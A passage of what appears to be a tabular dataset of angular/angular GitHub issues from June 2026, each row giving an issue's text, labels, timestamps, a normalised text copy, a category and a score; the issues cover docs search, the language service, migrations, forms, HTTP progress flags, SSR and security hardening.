caused an exception or error please paste it here if the problem is browser specific please specify the device os browser and version truncated,documentation,-0.7976
angular/angular,4628430039,Feedback: Search docs panel should reset the input box on reopen,"### Describe the problem that you experienced

When opening the search panel for a second time within the same session on angular.dev, the input field retains the previous search query. This requires users to manually delete the old text before they can type a new query, causing friction in the search experience.

### Enter the URL of the topic with the problem

https://angular.dev/

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

When the search panel is reopened, the previous search text should be fully cleared out.


Alternatively, we can keep the text in selected state. 

### Benefits of this Approach
* **Effortless Overwriting:** The user can instantly start typing to replace the old query.
* **Easy Modification:** If the user wants to refine their previous search instead, they can press the right arrow key to deselect the text and append new terms.


### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```","area: docs-infra,gemini-triaged",2026-06-10 05:48:17+00:00,2026-06-10 09:14:48+00:00,2,"area: docs-infra,gemini-triaged",0.1434,feedback search docs panel should reset the input box on reopen describe the problem that you experienced when opening the search panel for a second time within the same session on angular dev the input field retains the previous search query this requires users to manually delete the old text before they can type a new query causing friction in the search experience enter the url of the topic with the problem describe what you were looking for in the documentation no response describe the actions that led you to experience the problem no response describe what you want to experience that would fix the problem when the search panel is reopened the previous search text should be fully cleared out alternatively we can keep the text in selected state benefits of this approach effortless overwriting the user can instantly start typing to replace the old query easy modification if the user wants to refine their previous search instead they can press the right arrow key to deselect the text and append new terms add a screenshot if that helps illustrate the problem no response if this problem caused an exception or error please paste it here if the problem is browser specific please specify the device os browser and version provide any additional information here in as much as detail as you can,documentation,-0.8935
angular/angular,4627592425,Workspace tsdk not used when it is a relative path in the workspace,"### Is this a bug report or a feature request?

- [x] Bug Report
- [ ] Feature Request

### Please provide the steps to reproduce the issue [Bug Report only]

When using the Visual Studio Code setting `js/ts.tsdk.path` (previously `typescript.tsdk`) to specify a TypeScript version, if that path is a relative path within the workspace, the Angular Language Service does not use the TypeScript version specified at that path, and instead uses its own bundled version. This was working in version 21.2.3, but no longer works in version 21.2.4, or version 22.0.0.

I created a reproduction repository to demonstrate the issue: [https://github.com/Sidnoea/als-vscode-bug](https://github.com/Sidnoea/als-vscode-bug)

In this repository, the TypeScript version is kept committed, and the path used is `.yarn/sdks/typescript/lib`, because this repository uses Yarn PnP. I do not believe this bug is related to Yarn PnP specifically, but I included it in the repository to demonstrate my use case, as this is how I ended up discovering the bug. In this case, the custom TypeScript version 5.7.3-sdk should be loaded, but instead, TypeScript version 5.9.3 is loaded. This then causes the Angular Language Service to fail.

I believe this bug may have been caused by #68862, which changed the locations that are searched when looking for TypeScript.

As a temporary workaround, I can use an absolute folder path instead of a relative folder path, which causes the specified TypeScript version to be loaded. Th... [TRUNCATED]","area: language-service,gemini-triaged",2026-06-10 03:10:27+00:00,2026-06-10 18:09:58+00:00,3,"area: language-service,gemini-triaged",0.6247,workspace tsdk not used when it is a relative path in the workspace x bug report feature request please provide the the issue bug report only when using the visual studio code setting previously to specify a typescript version if that path is a relative path within the workspace the angular language service does not use the typescript version specified at that path and instead uses its own bundled version this was working in version but no longer works in version or version i created a reproduction repository to demonstrate the issue in this repository the typescript version is kept committed and the path used is because this repository uses yarn pnp i do not believe this bug is related to yarn pnp specifically but i included it in the repository to demonstrate my use case as this is how i ended up discovering the bug in this case the custom typescript version sdk should be loaded but instead typescript version is loaded this then causes the angular language service to fail i believe this bug may have been caused by which changed the locations that are searched when looking for typescript as a temporary workaround i can use an absolute folder path instead of a relative folder path which causes the specified typescript version to be loaded th truncated,others,-0.9517
angular/angular,4626288930,Safe navigation migration does unnecessary changes,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

`[condition]=""category?.category != null""` such code gets overwritten for no reason.

furthermore, another migration adds unnecessary suppressions to tsconfig files (nullishCoalescingNotNullable, optionalChainNotNullable) even when project is not using strict nullability at all.

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_",area: migrations,2026-06-09 22:58:30+00:00,2026-06-10 00:11:57+00:00,0,area: migrations,0.051,safe navigation migration does unnecessary changes which angular package s are the source of the bug core is this a regression yes description such code gets overwritten for no reason furthermore another migration adds unnecessary suppressions to tsconfig files nullishcoalescingnotnullable optionalchainnotnullable even when project is not using strict nullability at all please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bug in run anything else no response,others,-0.7269
angular/angular,4623032010,`experimentalWebMcpTool` is responsible for invoking the model synchronously,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

If the model depends on a required `input`, the forms webmcp tool, is responsible for throwing `NG0950: Input ""id"" is required but no value is available yet.` 

Repro: 

```ts
describe('App', () => {
  @Component({
    selector: 'app-root',
    template: ``,
  })
  class App {
    id = input.required<string>();
    model = linkedSignal(() => ({id: this.id()}));

    form = form(this.model, () => {}, {
      experimentalWebMcpTool: {
        description: 'foo',
        name: 'foo',
      },
    });
  }

  it('should work', async () => {
    TestBed.configureTestingModule({providers: [provideExperimentalWebMcpForms()]});
    const fixture = TestBed.createComponent(App);
  });
});
```
","area: forms,core: webmcp",2026-06-09 14:49:22+00:00,2026-06-10 17:14:43+00:00,0,"area: forms,core: webmcp",1.1009,is responsible for invoking the model synchronously which angular package s are the source of the bug forms is this a regression no description if the model depends on a required the forms webmcp tool is responsible for throwing repro,others,-0.1531
angular/angular,4622767181,Youtube iframe on Angular v22 release page - broken,"### Describe the problem that you experienced

When I'm trying to load the Angular v22 release page - Youtube iframe looks broken.
MacOS, Firefox, 151.0.4 (aarch64).

https://github.com/user-attachments/assets/864632f4-639a-4952-9cda-b8ce92c59bd5

### Enter the URL of the topic with the problem

_No response_

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```","area: docs-infra,gemini-triaged",2026-06-09 14:14:55+00:00,2026-06-09 14:37:00+00:00,1,"area: docs-infra,gemini-triaged",0.0153,youtube iframe on angular v release page broken describe the problem that you experienced when i m trying to load the angular v release page youtube iframe looks broken macos firefox aarch enter the url of the topic with the problem no response describe what you were looking for in the documentation no response describe the actions that led you to experience the problem no response describe what you want to experience that would fix the problem no response add a screenshot if that helps illustrate the problem no response if this problem caused an exception or error please paste it here if the problem is browser specific please specify the device os browser and version provide any additional information here in as much as detail as you can,documentation,-0.9779
angular/angular,4622356548,"platformServer().onDestroy resets ngServerMode to undefined after every render, defeating the BootstrapContext guard introduced to fix GHSA-68x2-mx4q-78m7","### Which @angular/* package(s) are the source of the bug?

platform-server

### Is this a regression?

No

### Description

The fix for GHSA-68x2-mx4q-78m7 added a guard in `@angular/core` that throws `NG0401` (Missing Platform) when `bootstrapApplication()` is called server-side without a `BootstrapContext`. The guard checks `globalThis.ngServerMode`:

```javascript
// @angular/core/fesm2022/core.mjs ~line 2420
if (typeof ngServerMode !== 'undefined' && ngServerMode && !platformRef) {
  throw new RuntimeError(-401, 'Missing Platform...');
}
```

The guard only fires when `ngServerMode === true`. The problem is that `platformServer()` in `@angular/platform-server` sets this flag to `true` at the start of a render but then resets it back to `undefined` inside an `onDestroy` callback when the platform is destroyed at the end of each render:

```javascript
// @angular/platform-server/fesm2022/_server-chunk.mjs lines 576-588
function platformServer(extraProviders) {
  const noServerModeSet = typeof ngServerMode === 'undefined';
  if (noServerModeSet) {
    globalThis['ngServerMode'] = true;
  }
  const platform = createPlatformFactory(platformCore, 'server', INTERNAL_SERVER_PLATFORM_PROVIDERS)(extraProviders);
  if (noServerModeSet) {
    platform.onDestroy(() => {
      globalThis['ngServerMode'] = undefined;  // resets the guard flag after every render
    });
  }
  return platform;
}
```

After any `renderApplication()` call completes (which internally calls `platformServer()... [TRUNCATED]","area: server,gemini-triaged",2026-06-09 13:23:47+00:00,2026-06-10 15:32:51+00:00,3,"area: server,gemini-triaged",1.0896,platformserver ondestroy resets ngservermode to undefined after every render defeating the bootstrapcontext guard introduced to fix ghsa x mx q m which angular package s are the source of the bug platform server is this a regression no description the fix for ghsa x mx q m added a guard in that throws missing platform when is called server side without a the guard checks the guard only fires when the problem is that in sets this flag to at the start of a render but then resets it back to inside an callback when the platform is destroyed at the end of each render after any call completes which internally calls platformserver truncated,bug,-0.8248
angular/angular,4620461234,Enum Default = 1 still has a comment that this is the default for v22,"### Describe the problem that you experienced

https://github.com/angular/angular/blob/e6ae250802ee1cb4cb321cad5fab0a9f0b2779dc/packages/core/src/change_detection/constants.ts#L37

constants.ts comment in line 37 says that `Default = 1` is the default. This contradicts the actual behavior that is already noted in line 25. That OnPush is the default

https://github.com/angular/angular/blob/e6ae250802ee1cb4cb321cad5fab0a9f0b2779dc/packages/core/src/change_detection/constants.ts#L25

### Enter the URL of the topic with the problem

_No response_

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```","area: core,gemini-triaged",2026-06-09 08:53:12+00:00,2026-06-09 20:10:01+00:00,0,"area: core,gemini-triaged",0.47,enum default still has a comment that this is the default for v describe the problem that you experienced constants ts comment in line says that is the default this contradicts the that is already noted in line that onpush is the default enter the url of the topic with the problem no response describe what you were looking for in the documentation no response describe the actions that led you to experience the problem no response describe what you want to experience that would fix the problem no response add a screenshot if that helps illustrate the problem no response if this problem caused an exception or error please paste it here if the problem is browser specific please specify the device os browser and version provide any additional information here in as much as detail as you can,others,-0.9707
angular/angular,4618740065,"Bug: AOT compilation slow, build times excessive","## Problem Statement
AOT slow:
- Build times long
- CI/CD slow
- Development blocked

**Business Impact:** Slow builds
**Technical Impact:** Compilation speed

## Root Cause Analysis
No optimization. Sequential compilation.

## Solution Overview
1. Parallel: parallel compilation
2. Caching: cache artifacts
3. Incremental: incremental builds
4. Optimization: optimize passes
5. Profiling: identify slow

## Type of Change
- Bug fix: Build performance

## Testing Done
- Build test: faster
- Cache test: works
- Incremental test: faster

## Related Issue
Relates to build time

## Suggested Labels
bug, build, performance, gssoc26","area: compiler,gemini-triaged",2026-06-09 04:12:42+00:00,2026-06-09 04:48:31+00:00,0,"area: compiler,gemini-triaged",0.0249,aot compilation slow build times excessive problem statement aot slow build times long ci cd slow development blocked business impact slow builds technical impact compilation speed root cause analysis no optimization sequential compilation solution overview parallel parallel compilation caching cache artifacts incremental incremental builds optimization optimize passes profiling identify slow type of change bug fix build performance testing done build test faster cache test works incremental test faster related issue relates to build time suggested labels bug build performance gssoc,bug,-0.93
angular/angular,4618739996,Enhancement: Add better error messages and debugging tools,"## Problem Statement
Error messages unclear:
- Hard to debug
- No helpful info
- Frustration

**Business Impact:** Hard to debug
**Technical Impact:** Poor errors

## Root Cause Analysis
Minimal error info. Generic messages.

## Solution Overview
1. Messages: clear messages
2. Context: include context
3. Suggestions: suggest fixes
4. Debugging: debug tools
5. Documentation: link docs

## Type of Change
- Feature: Error handling

## Testing Done
- Message test: clear
- Context test: helpful
- Tool test: useful

## Related Issue
Relates to DX

## Suggested Labels
feature, error-handling, dx, gssoc26","area: core,gemini-triaged",2026-06-09 04:12:41+00:00,2026-06-09 04:48:10+00:00,0,"area: core,gemini-triaged",0.0246,enhancement add better error messages and debugging tools problem statement error messages unclear hard to debug no helpful info frustration business impact hard to debug technical impact poor errors root cause analysis minimal error info generic messages solution overview messages clear messages context include context suggestions suggest fixes debugging debug tools documentation link docs type of change feature error handling testing done message test clear context test helpful tool test useful related issue relates to dx suggested labels feature error handling dx gssoc,bug,-0.9738
angular/angular,4618739943,"Bug: Change detection runs too frequently, unnecessary checks","## Problem Statement
Change detection excessive:
- Runs too often
- Performance impact
- Unnecessary checks

**Business Impact:** Performance degradation
**Technical Impact:** CD algorithm

## Root Cause Analysis
CD triggers on all events. No optimization.

## Solution Overview
1. OnPush: promote OnPush
2. Optimization: optimize checks
3. Smart: smart detection
4. Profiling: identify runs
5. Testing: CD tests

## Type of Change
- Bug fix: Change detection

## Testing Done
- Detection test: fewer runs
- Performance test: improved
- Correctness test: correct

## Related Issue
Relates to performance

## Suggested Labels
bug, change-detection, performance, gssoc26","area: core,gemini-triaged",2026-06-09 04:12:40+00:00,2026-06-09 04:47:45+00:00,1,"area: core,gemini-triaged",0.0244,change detection runs too frequently unnecessary checks problem statement change detection excessive runs too often performance impact unnecessary checks business impact performance degradation technical impact cd algorithm root cause analysis cd triggers on all events no optimization solution overview onpush promote onpush optimization optimize checks smart smart detection profiling identify runs testing cd tests type of change bug fix change detection testing done detection test fewer runs performance test improved correctness test correct related issue relates to performance suggested labels bug change detection performance gssoc,bug,0.8402
angular/angular,4618739896,Enhancement: Add better TypeScript strict mode support and type safety,"## Problem Statement
Strict mode incomplete:
- Type safety gaps
- Unsafe patterns allowed
- Limited strictness

**Business Impact:** Type safety issues
**Technical Impact:** Incomplete strict mode

## Root Cause Analysis
Not all strict rules enforced.

## Solution Overview
1. Strict: enable all strict
2. Rules: add rules
3. Linting: strict linting
4. Documentation: guide users
5. Migration: migration path

## Type of Change
- Enhancement: Type safety

## Testing Done
- Strict test: works
- Migration test: smooth
- Type test: safe

## Related Issue
Relates to safety

## Suggested Labels
feature, typescript, safety, gssoc26","area: dev-infra,gemini-triaged",2026-06-09 04:12:39+00:00,2026-06-09 04:48:52+00:00,0,"area: dev-infra,gemini-triaged",0.0252,enhancement add better typescript strict mode support and type safety problem statement strict mode incomplete type safety gaps unsafe patterns allowed limited strictness business impact type safety issues technical impact incomplete strict mode root cause analysis not all strict rules enforced solution overview strict enable all strict rules add rules linting strict linting documentation guide users migration migration path type of change enhancement type safety testing done strict test works migration test smooth type test safe related issue relates to safety suggested labels feature typescript safety gssoc,feature,0.9682
angular/angular,4618739838,Bug: Dependency injection performance degrades with large modules,"## Problem Statement
DI slow with large apps:
- Module initialization slow
- Startup time increases
- Scalability issues

**Business Impact:** Slow app startup
**Technical Impact:** DI performance

## Root Cause Analysis
No optimization for large modules. Linear resolution.

## Solution Overview
1. Caching: cache resolutions
2. Optimization: optimize lookup
3. Lazy loading: defer loading
4. Profiling: identify bottlenecks
5. Testing: performance tests

## Type of Change
- Bug fix: Performance

## Testing Done
- Performance test: improved
- Scalability test: handles large
- Startup test: faster

## Related Issue
Relates to startup performance

## Suggested Labels
bug, performance, di, gssoc26","area: core,gemini-triaged",2026-06-09 04:12:38+00:00,2026-06-09 04:49:38+00:00,0,"area: core,gemini-triaged",0.0257,dependency injection performance degrades with large modules problem statement di slow with large apps module initialization slow startup time increases scalability issues business impact slow app startup technical impact di performance root cause analysis no optimization for large modules linear resolution solution overview caching cache resolutions optimization optimize lookup lazy loading defer loading profiling identify bottlenecks testing performance tests type of change bug fix performance testing done performance test improved scalability test handles large startup test faster related issue relates to startup performance suggested labels bug performance di gssoc,bug,-0.886
angular/angular,4616723704,v22 HTTP option `reportUploadProgress` does not work,"### Which @angular/* package(s) are the source of the bug?

common

### Is this a regression?

No (in the sense that the flag is new 🙃)

### Description

In Angular 22, the HTTP request option `reportProgress` is deprecated, and encourages you to switch to `reportUploadProgress` / `reportDownloadProgress` instead. However, it seems at least `reportUploadProgress` does not work. (I did not verify download progress.)

I can't get a StackBlitz project set up because their version of Node is slightly out of Angular's support window, so I've attached a project that shows the issue. `npm install` and `npm start`, then you can flip between the old and new flags and upload a file to test (it uploads to a dummy API, https://jsonplaceholder.typicode.com/). The old flag reports progress, but the new one does not.

[ng22-upload-progress.zip](https://github.com/user-attachments/files/28726416/ng22-upload-progress.zip)

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 22.0.0
Angular           : 22.0.0
Node.js           : 24.16.0
Package Manager   : npm 11.13.0
Operating System  : win32 x64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├───────────────────────────┼───────────────────┼────────────... [TRUNCATED]","area: common/http,gemini-triaged",2026-06-08 21:20:30+00:00,2026-06-10 18:37:48+00:00,3,"area: common/http,gemini-triaged",1.887,v http option does not work which angular package s are the source of the bug common is this a regression no in the sense that the flag is new description in angular the http request option is deprecated and encourages you to switch to instead however it seems at least does not work i did not verify download progress i can t get a stackblitz project set up because their version of node is slightly out of angular s support window so i ve attached a project that shows the issue and then you can flip between the old and new flags and upload a file to test it uploads to a dummy api the old flag reports progress but the new one does not ng upload progress zip please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bug in run true angular cli angular node js package manager npm win x package installed version requested version truncated,others,-0.2914
angular/angular,4612437879,Add `@server` and `@browser` template blocks for SSR-only and browser-only rendering,"### Which @angular/* package(s) are relevant/related to the feature request?

compiler

### Description

This is a feature request for first-class template-level control-flow blocks that render only on a specific platform:

```html
@server {
  <!-- This block is rendered only during SSR/prerendering. -->
}

@browser {
  <!-- This block is rendered only in the browser. -->
}
```

The goal is to make SSR/browser-only rendering explicit in Angular templates and make this behavior hydration-aware.

Today this can be approximated with isPlatformBrowser, isPlatformServer, custom structural directives, or component-level guards. However, those solutions are verbose, easy to implement inconsistently, and do not provide a clear framework-level contract for hydration behavior.

Angular already has template control-flow syntax such as `@if`, `@for`, `@switch`, and `@defer`. SSR apps often need a similarly clear way to express platform-specific template branches.

#### Common use cases:

```html
@server {
  <app-static-product-card [product]=""product"" />
}

@browser {
  <app-interactive-product-card [product]=""product"" />
}
```

```html
@server {
  <app-seo-friendly-table [rows]=""rows"" />
}

@browser {
  <app-virtual-scroll-table [rows]=""rows"" />
}
```

```html
@browser {
  <app-map-widget [location]=""location"" />
}
```

This would help with:
- rendering static/SEO-friendly content on the server;
- rendering browser-only widgets that depend on DOM APIs such as window, document, ResizeObs... [TRUNCATED]",area: compiler,2026-06-08 11:22:50+00:00,2026-06-08 11:54:58+00:00,2,area: compiler,0.0223,add and template blocks for ssr only and browser only rendering which angular package s are relevant related to the feature request compiler description this is a feature request for first class template level control flow blocks that render only on a specific platform the goal is to make ssr browser only rendering explicit in angular templates and make this behavior hydration aware today this can be approximated with isplatformbrowser isplatformserver custom structural directives or component level guards however those solutions are verbose easy to implement inconsistently and do not provide a clear framework level contract for hydration behavior angular already has template control flow syntax such as and ssr apps often need a similarly clear way to express platform specific template branches common use cases this would help with rendering static seo friendly content on the server rendering browser only widgets that depend on dom apis such as window document resizeobs truncated,others,0.4464
angular/angular,4612423561,Will the LOCALE_DATA hardening fix be backported to Angular 20,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

No

### Description

The change from

```typescript
let LOCALE_DATA: {[localeId: string]: any} = {};
```
to
```typescript
let LOCALE_DATA: {[localeId: string]: any} = Object.create(null);
```

was merged in https://github.com/angular/angular/pull/68917 and backported to [21.2.x](https://github.com/angular/angular/releases/tag/v21.2.16) and [22.0.x.](https://github.com/angular/angular/releases/tag/v22.0.0-rc.3) branches.

security scanners like aikido are flagging Angular 20.x as affected because the same code exists there. Currently, the suggested remediation is to migrate to v21
https://intel.aikido.dev/cve/AIKIDO-2026-11077

since v20 is LTS, is there a plan to include the changes to the 20.x branch as well? 

Not really a bug. Posting this here because I was directed from Discord to ask on GitHub

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular 20.3.24
```

### Anything else?

_No response_","area: core,gemini-triaged",2026-06-08 11:20:31+00:00,2026-06-08 12:04:45+00:00,1,"area: core,gemini-triaged",0.0307,will the locale data hardening fix be backported to angular which angular package s are the source of the bug core is this a regression no description the change from to was merged in and backported to x and x branches security scanners like aikido are flagging angular x as affected because the same code exists there currently the suggested remediation is to migrate to v since v is lts is there a plan to include the changes to the x branch as well not really a bug posting this here because i was directed from discord to ask on github please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bug in run anything else no response,bug,-0.7845
angular/angular,4612329406,Inlay Hints - Parameter name hints popping up in wrong places,"### Is this a bug report or a feature request?

- [x] Bug Report
- [ ] Feature Request

### Please provide the steps to reproduce the issue [Bug Report only]

When looking at some .ts files in our Angular application, parameter hints are wrongly placed within the code:

<img width=""1087"" height=""580"" alt=""Image"" src=""https://github.com/user-attachments/assets/b18ffdc5-dc34-47d3-b558-c1253051bc2e"" />

When setting the feature `Angular > Inlay Hints > Parameter Hints: Name Hints`  to  `none` the hints disappear:

<img width=""1032"" height=""592"" alt=""Image"" src=""https://github.com/user-attachments/assets/ac6f5b37-1ad0-44e6-9cd6-ce75a2d82654"" />

I've so far only observed this in our production code, that i can't share here

### Please provide the expected behavior vs the actual behavior you encountered [Bug Report only]

_No response_

### Please provide a screenshot if possible [Bug Report only]

_No response_

### Please provide the exception or error you saw [Bug Report only]

```true

```

### Description [Feature Request only]

_No response_

### Proposed solution [Feature Request only]

_No response_

### Alternatives considered [Feature Request only]

_No response_","area: language-service,gemini-triaged",2026-06-08 11:06:27+00:00,2026-06-09 20:33:17+00:00,0,"area: language-service,gemini-triaged",1.3936,inlay hints parameter name hints popping up in wrong places x bug report feature request please provide the the issue bug report only when looking at some ts files in our angular application parameter hints are wrongly placed within the code when setting the feature to the hints disappear i ve so far only observed this in our production code that i can t share here please provide the vs the you encountered bug report only no response please provide a screenshot if possible bug report only no response please provide the exception or error you saw bug report only description feature request only no response proposed solution feature request only no response alternatives considered feature request only no response,others,-0.9601
angular/angular,4611745927,Aria: context menu doesn't close on outside click unless hovered first,"### Describe the problem that you experienced

When I open the context menu by right-clicking inside the target area, clicking somewhere outside the menu doesn't close it, the menu stays open.
The only time clicking outside does close it is if I first move my mouse over the menu (hover on it), and then click outside. Without hovering first, outside clicks are ignored and the menu remains open.
I'd expect the context menu to close whenever I click outside of it, whether or not I hovered over it first.

### Enter the URL of the topic with the problem

https://angular.dev/guide/aria/menu

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```","area: docs,gemini-triaged",2026-06-08 09:44:00+00:00,2026-06-08 19:58:02+00:00,1,"area: docs,gemini-triaged",0.4264,aria context menu doesn t close on outside click unless hovered first describe the problem that you experienced when i open the context menu by right clicking inside the target area clicking somewhere outside the menu doesn t close it the menu stays open the only time clicking outside does close it is if i first move my mouse over the menu hover on it and then click outside without hovering first outside clicks are ignored and the menu remains open i d expect the context menu to close whenever i click outside of it whether or not i hovered over it first enter the url of the topic with the problem describe what you were looking for in the documentation no response describe the actions that led you to experience the problem no response describe what you want to experience that would fix the problem no response add a screenshot if that helps illustrate the problem no response if this problem caused an exception or error please paste it here if the problem is browser specific please specify the device os browser and version provide any additional information here in as much as detail as you can,documentation,-0.9638
angular/angular,4610891825,"ng 22 update remove changeDetection: ChangeDetectionStrategy.OnPush,","### Command

update

### Description

when doing migration to ng 22 and component has `changeDetection: ChangeDetectionStrategy.OnPush,`  could be be removed

### Describe the solution you'd like

a) basic update
b) or extra migration

### Describe alternatives you've considered

_No response_","area: migrations,gemini-triaged",2026-06-08 05:42:46+00:00,2026-06-08 18:23:45+00:00,3,"area: migrations,gemini-triaged",0.5285,ng update remove changedetection changedetectionstrategy onpush command update description when doing migration to ng and component has could be be removed describe the solution you d like a basic update b or extra migration describe alternatives you ve considered no response,others,0.3818
angular/angular,4607191885,Items no longer rendering in template on mac OS,"### Which @angular/* package(s) are the source of the bug?

Don't known / other

### Is this a regression?

Yes

### Description

After upgrading from   release 21.2.14   to   21.2.15 and now v22. I have an issue on my MacOS with items not rendering

in template I have :
 **@for(product of products; track product.id_product) { ... }**

In the ts I have :
**.subscribe(
        res => {
                this.products = [...res];
        }
      )**

poducts is retruning data and not rendering in the template

It's working again when reverting to:
Angular CLI       : 21.2.12
Angular           : 21.2.14
Node.js           : 24.16.0
Package Manager   : npm 11.13.0
Operating System  : darwin arm64

I have no issue on the production server

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_","area: core,gemini-triaged",2026-06-07 11:45:35+00:00,2026-06-07 12:13:47+00:00,2,"area: core,gemini-triaged",0.0196,items no longer rendering in template on mac os which angular package s are the source of the bug don t known other is this a regression yes description after upgrading from release to and now v i have an issue on my macos with items not rendering in template i have for product of products track product id product in the ts i have subscribe res this products res poducts is retruning data and not rendering in the template it s working again when reverting to angular cli angular node js package manager npm darwin arm i have no issue on the production server please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bug in run anything else no response,others,-0.8807
angular/angular,4600957327,Feature Request: Permit Readonly arrays in `Provider`,"### Which @angular/* package(s) are relevant/related to the feature request?

`@angular/core`

### Description

Sometimes it's useful to have a shared set of providers that get imported together:

```ts
export const SERVICE_PROVIDERS = [
  ServiceA,
  ServiceB,
  // ...
]
```
```ts
@Component({
  // ...
  providers: [SERVICE_PROVIDERS],
})
// ...
```

This pattern is subject to really confusing issues if someone does something like `SERVICE_PROVIDERS.push(...)`, so it would be better if I could use a type annotation to avoid mutating the array, i.e.:

```ts
export const SERVICE_PROVIDERS: readonly Provider[] = [
  ServiceA,
  ServiceB,
  // ...
]
```

However, adding the annotation triggers a build-time error and requires an update to the component definition:
```ts
@Component({
  // ...
  providers: [...SERVICE_PROVIDERS],
})
// ...
```
This technically impacts runtime performance by duplicating the array at runtime (just to satisfy the type requirements at build time).

It is a pretty minor concern, but declaring that arrays passed as `Provider` are readonly both offers a small performance win _and_ provides a TS-based assurance that the provided array will not be mutated by the framework (which I sure hope is true!).

### Proposed solution

Update `Provider` type to accept `readonly any[]` instead of `any[]`:

https://github.com/angular/angular/blob/255151a41349c519728651739412dbd0f6138e13/packages/core/src/di/interface/provider.ts#L336-L343

I'm not sure if this might cau... [TRUNCATED]","area: core,gemini-triaged",2026-06-06 00:02:15+00:00,2026-06-08 10:03:03+00:00,2,"area: core,gemini-triaged",2.4172,feature request permit readonly arrays in which angular package s are relevant related to the feature request description sometimes it s useful to have a shared set of providers that get imported together this pattern is subject to really confusing issues if someone does something like so it would be better if i could use a type annotation to avoid mutating the array i e however adding the annotation triggers a build time error and requires an update to the component definition this technically impacts runtime performance by duplicating the array at runtime just to satisfy the type requirements at build time it is a pretty minor concern but declaring that arrays passed as are readonly both offers a small performance win and provides a ts based assurance that the provided array will not be mutated by the framework which i sure hope is true proposed solution update type to accept instead of i m not sure if this might cau truncated,feature,0.9865
angular/angular,4596521396,Defer feature not indexed or returned properly by Algolia,"### Describe the problem that you experienced

Using the embedded search in angular.dev and typing `defer` or `@defer` only return the Tutorials pages.
You have to know better and type at least 'deferre' to start getting Docs results.

<img width=""782"" height=""655"" alt=""Image"" src=""https://github.com/user-attachments/assets/c0020347-eab2-4a7d-a85b-6a36bd00431d"" />

### Enter the URL of the topic with the problem

_No response_

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```","area: docs-infra,gemini-triaged",2026-06-05 11:23:44+00:00,2026-06-08 10:21:57+00:00,4,"area: docs-infra,gemini-triaged",2.9571,defer feature not indexed or returned properly by algolia describe the problem that you experienced using the embedded search in angular dev and typing or only return the tutorials pages you have to know better and type at least deferre to start getting docs results enter the url of the topic with the problem no response describe what you were looking for in the documentation no response describe the actions that led you to experience the problem no response describe what you want to experience that would fix the problem no response add a screenshot if that helps illustrate the problem no response if this problem caused an exception or error please paste it here if the problem is browser specific please specify the device os browser and version provide any additional information here in as much as detail as you can,feature,-0.9595
angular/angular,4596373284,Cannot use Type Parameter for Component @Input property transformers,"### Which @angular/* package(s) are the source of the bug?

Don't known / other

### Is this a regression?

No

### Description
[](url)
This component won’t compile:

https://github.com/mwaibel-go/component-type-parameter-repro/blob/type-param-repro/src/app/widget.ts

```ts
@Component({
  template: ``,
})
export class Widget<T> {
  @Input({
    transform: (value: T) => value
  }) data!: T
}
```

### Please provide a link to a minimal reproduction of the bug

https://github.com/mwaibel-go/component-type-parameter-repro/tree/type-param-repro

### Please provide the exception or error you saw

```true
Symbol must be exported in order to be used as the type of an Input transform function(-993001)
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.2.14
Angular           : 21.2.16
Node.js           : 24.13.0
Package Manager   : npm 11.11.1
Operating System  : linux x64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├───────────────────────────┼───────────────────┼───────────────────┤
│ @angular/build            │ 21.2.14           │ ^21.2.14          │
│ @angular/cli              │ 21.2.14           │ ^21.2.14          │
│ @angular/common           │ 21.2.16           │ ^21.2.16          │
│ @angular/compiler         │ 21.2.16           │ ^21.2.16          │
